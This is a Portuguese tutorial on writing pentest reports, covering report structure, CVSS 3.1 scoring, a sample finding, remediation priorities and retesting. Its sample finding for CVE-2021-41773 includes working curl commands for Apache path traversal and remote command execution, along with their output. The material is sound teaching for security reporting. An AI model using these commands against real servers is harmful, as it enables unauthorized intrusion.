Avançado Pentest e Ofensiva

Relatório de pentest — estrutura, CVSS, reprodução, remediação, executivo

O relatório é o produto final de um pentest. Um engajamento tecnicamente impecável perde valor se o relatório for vago. O objetivo: permitir que qualquer engenheiro reproduza e remedie a vulnerabilidade sem precisar perguntar nada.

Estrutura do relatório

1. Capa e metadados
   - Nome do cliente, data, versão do documento
   - Pentester(s), empresa contratada
   - Classificação: CONFIDENCIAL

2. Sumário executivo
   - 1 página, linguagem de negócio, sem jargão técnico
   - Risco geral (Crítico / Alto / Médio / Baixo)
   - 3-5 pontos principais

3. Escopo e metodologia
   - IPs, domínios, sistemas testados
   - Janela de tempo, tipo de teste (black/grey/white box)
   - Ferramentas utilizadas

4. Resumo de vulnerabilidades (tabela)
   - ID, Título, Severidade, CVSS, Sistema afetado, Status

5. Vulnerabilidades — seção detalhada (uma por achado)

6. Recomendações — lista consolidada por prioridade

7. Apêndices
   - Saída raw de ferramentas
   - Evidências adicionais
   - Glossário

Sumário executivo — exemplo

Durante o período de 10 a 14 de junho de 2024, a [Empresa X] conduziu um
teste de invasão na infraestrutura web da [Cliente Y], abrangendo 12 sistemas
na DMZ.

Foram identificadas 18 vulnerabilidades: 3 Críticas, 4 Altas, 7 Médias e
4 Informacionais.

As vulnerabilidades críticas permitem que um atacante externo obtenha acesso
administrativo completo aos servidores web e, a partir daí, acesse a base
de dados de clientes (PII). Recomenda-se correção imediata antes de qualquer
novo deploy em produção.

Classificação CVSS 3.1

CVSS = Common Vulnerability Scoring System
Escala: 0.0 a 10.0

Faixas:
  Crítico  9.0 – 10.0
  Alto     7.0 – 8.9
  Médio    4.0 – 6.9
  Baixo    0.1 – 3.9
  Info     0.0

Componentes do vetor:
  AV (Attack Vector):    N=Network, A=Adjacent, L=Local, P=Physical
  AC (Attack Complexity): L=Low, H=High
  PR (Privileges Required): N=None, L=Low, H=High
  UI (User Interaction): N=None, R=Required
  S  (Scope):            U=Unchanged, C=Changed
  C/I/A (Confidentiality/Integrity/Availability): N/L/H

Exemplo:
  CVE-2021-41773 (Apache Path Traversal + RCE)
  CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → Score: 9.8 (Crítico)

Seção de vulnerabilidade — template

ID:          VULN-001
Título:      Execução Remota de Código no Apache 2.4.49 (CVE-2021-41773)
Severidade:  Crítico
CVSS Score:  9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Sistema:     webserver01.example.com (192.168.1.50)

DESCRIÇÃO
O Apache HTTP Server versão 2.4.49 contém uma falha de normalização de
caminho que permite a um atacante não autenticado escapar do diretório
raiz (path traversal) e executar scripts CGI arbitrários.

IMPACTO
Acesso completo ao sistema operacional com as permissões do processo Apache
(www-data). Leitura de arquivos sensíveis e execução de comandos remotos.

REPRODUÇÃO (passo a passo)
1. Identificar servidor Apache 2.4.49:
   curl -I http://192.168.1.50

2. Verificar módulo CGI habilitado:
   curl http://192.168.1.50/cgi-bin/test.cgi

3. Explorar path traversal:
   curl "http://192.168.1.50/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"

4. Executar comando remoto:
   curl -d "echo Content-Type: text/plain; echo; id" \
     "http://192.168.1.50/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"

EVIDÊNCIA
  Screenshot: [anexo01_rce_apache.png]
  Output obtido:
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

REMEDIAÇÃO
  Imediata:
    Atualizar para Apache 2.4.51 ou superior.
    Se atualização não for possível, desabilitar o módulo CGI.
  
  Adicional:
    Implementar WAF com regras de path traversal.
    Remover módulos desnecessários (mod_cgi, mod_cgid).
    Executar Apache com usuário dedicado e chroot.

REFERÊNCIAS
  CVE-2021-41773
  https://httpd.apache.org/security/vulnerabilities_24.html

Tabela de vulnerabilidades — exemplo

| ID       | Título                         | Severidade | CVSS | Sistema        |
|----------|--------------------------------|------------|------|----------------|
| VULN-001 | RCE Apache 2.4.49              | Crítico    | 9.8  | webserver01    |
| VULN-002 | SQL Injection no /api/search   | Crítico    | 9.1  | api.example.com|
| VULN-003 | Credenciais padrão FTP         | Alto       | 7.5  | ftp.example.com|
| VULN-004 | SNMP community "public"        | Médio      | 5.3  | router01       |
| VULN-005 | Header X-Frame-Options ausente | Baixo      | 3.1  | todos          |

Recomendações — prioridade e prazo

Prioritário (remediar em até 24h):
  1. Atualizar Apache para 2.4.51+
  2. Corrigir SQL Injection no endpoint /api/search (sanitizar inputs, usar prepared statements)

Curto prazo (até 7 dias):
  3. Alterar credenciais padrão do FTP
  4. Desabilitar SNMP v1/v2 ou restringir community string

Médio prazo (até 30 dias):
  5. Implementar cabeçalhos de segurança HTTP em todos os serviços
  6. Revisar política de senhas e habilitar MFA

Reteste (retest)

Após remediação, o cliente solicita reteste para validar as correções.

Relatório de reteste inclui:
  - Data do reteste
  - Quais vulnerabilidades foram corrigidas (confirmado)
  - Quais permanecem abertas (com nova evidência)
  - Novas vulnerabilidades introduzidas durante o fix (raro mas acontece)

Um relatório bem escrito é o que justifica o investimento no pentest e guia a equipe técnica até a correção completa.